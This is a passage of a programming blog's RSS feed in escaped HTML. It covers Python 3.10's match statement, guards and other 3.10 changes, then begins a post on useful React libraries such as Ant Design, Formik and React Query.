style=&#34;color:#5af78e&#34;&gt;&amp;#34;Aswang&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Aswang&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Kapre&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Kapre&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; _:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Goblin&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;guard&#34;&gt;Guard&lt;/h3&gt;&#xA;&lt;p&gt;The new match also includes an extra function called &lt;em&gt;Guard&lt;/em&gt;, in which a condition is evaluated after the case. **If the case matches, but the condition is not met, it will jump to the next case block.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;match&lt;/span&gt; subject:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; condition: &lt;span style=&#34;color:#78787e&#34;&gt;# Si condition evalua a False se procederá al siguiente case&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; _:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_wildcard&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And note that the &lt;em&gt;subject&lt;/em&gt; can be a string, an object, a tuple or an instance of a class.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;switch-in-python-before-version-310&#34;&gt;Switch in Python before version 3.10&lt;/h2&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t already have Python 3.10 you can mimic the operation of a switch with an endless string of &lt;em&gt;ifs&lt;/em&gt; or &lt;em&gt;elifs&lt;/em&gt; like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_n&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_1&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_2&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_3&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or by resorting to slightly more sophisticated techniques:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;evalua_caso&lt;/span&gt;(caso, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    switch &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;procesando caso 1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;procesando caso 2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;procesando caso 3&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; switch&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(caso, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Procesando caso por defecto&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;evalua_caso(valor)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The values of each key in the dictionary can be replaced by functions to have even more control over the flow of the program.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-changes-included-in-python-310&#34;&gt;Other changes included in Python 3.10&lt;/h2&gt;&#xA;&lt;p&gt;Besides the new match, Python 3.10 brings other changes and additions to the language, which are quite a few but I will summarize the ones I consider the most important:&lt;/p&gt;&#xA;&lt;h3 id=&#34;parentheses-in-context-handlers&#34;&gt;Parentheses in context handlers&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;You can now use parentheses along multiple lines in context handlers (statements starting with &amp;hellip; as).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    CtxManager1(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    CtxManager2()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;clearer-error-messages-on-key-matching&#34;&gt;Clearer error messages on key matching&lt;/h3&gt;&#xA;&lt;p&gt;When you make a mistake closing a brace or parenthesis the interpreter will warn you explicitly that you forgot to close your brace or parenthesis, instead of just flagging a syntax error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;example.py&amp;#34;&lt;/span&gt;, line &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    expected &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;27&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;29&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;36&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;37&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               &lt;span style=&#34;color:#ff6ac1&#34;&gt;^&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SyntaxError: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;{&amp;#39;&lt;/span&gt; was never closed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;you-can-now-use-the-pipe-character-in-typing&#34;&gt;You can now use the pipe character in typing&lt;/h3&gt;&#xA;&lt;p&gt;The pipe operator &amp;ldquo;|&amp;rdquo; is added to the Python typing module so that you can use it interchangeably with &lt;em&gt;Union&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;square&lt;/span&gt;(number: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;float&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;float&lt;/span&gt;: &lt;span style=&#34;color:#78787e&#34;&gt;# Antes Union[int, float]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; number &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;distutils-is-obsolete&#34;&gt;Distutils is obsolete&lt;/h3&gt;&#xA;&lt;p&gt;The distutils package, used to distribute packages, is marked as deprecated and will be discontinued in Python 3.12.&lt;/p&gt;&#xA;&lt;p&gt;These are just some of the changes, if you want to check the complete list of changes please visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3.10/whatsnew/3.10.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Python 3.10 was announced and it comes with something that many developers were missing from other languages: the switch statement. Yes, that piece of code that evaluates an expression and compares it with multiple cases to decide what to execute. Python did not have it implemented and many developers resorted to certain tricks to imitate it.&lt;/p&gt;&#xA;&lt;p&gt;I remind you that if you don&amp;rsquo;t know anything about Python I have a post where I talk about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;book &amp;ldquo;Inmersion en Python&amp;rdquo;&lt;/a&gt;&#xA;; one of the best free books to learn Python from scratch.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>5 cool React libraries you should know about</title>
      <link>https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/</link>
      <pubDate>Tue, 02 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/</guid>
      
      <category>react</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;After several weeks posting about Django I wrote a short post about React, about libraries, because man does not live by Python alone. These are some of the libraries that I consider most useful in React. For obvious reasons are excluded React-router, Redux and others too well known. As well as some React Frameworks such as Gatsby, Nextjs, Frontity and others.&lt;/p&gt;&#xA;&lt;p&gt;If you want to learn React but don&amp;rsquo;t know Javascript read my post, where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/&#34;&gt;one of the best books to start with Javascript&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ant-design&#34;&gt;Ant Design&lt;/h2&gt;&#xA;&lt;p&gt;Ant design is beautiful, yes, there is not much to go into using text. It has lots of components that are visually pleasing and very elegant: buttons, sliders, progress bars, layouts, you know, the basics. Be sure to visit the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ant.design/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Ant design website&lt;/a&gt;&#xA; to see for yourself all that this library has to offer.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Ant-design.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Ant-design.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of ant design&#34; width=&#34;715&#34; height=&#34;604&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;formik&#34;&gt;formik&lt;/h2&gt;&#xA;&lt;p&gt;Formik is a great library. This library makes working with forms simple and scalable. It allows you to have controlled fields, create validations, reset the form, set a state, handle errors, all with a few lines of code: define an object containing properties with their respective validations and that&amp;rsquo;s it, formik takes care of almost everything.&lt;/p&gt;&#xA;&lt;p&gt;Note the validation scheme on the left side consists of an object called &lt;em&gt;ValidationSchema&lt;/em&gt; which has the name of the fields and functions that are concatenated to perform the validation. There are functions like &lt;em&gt;min()&lt;/em&gt;, &lt;em&gt;max()&lt;/em&gt;, &lt;em&gt;oneOf()&lt;/em&gt; and many others for &lt;strong&gt;almost any type of validation you require.&lt;/strong&gt; I leave you &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://codesandbox.io/s/zkrk5yldz?file=/index.js&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the link to the sandbox&lt;/a&gt;&#xA; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://codesandbox.io/s/zkrk5yldz?file=/index.js&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA; from where I took this example.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Formik-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Formik-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of Formik code&#34; width=&#34;1527&#34; height=&#34;648&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;react-query&#34;&gt;React query&lt;/h2&gt;&#xA;&lt;p&gt;Every time a request is made to an API there is code that repeats; make the request, display an element indicating that content is being loaded, receive the error or success status and save it to the status. Sound familiar?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;React query takes care of reducing 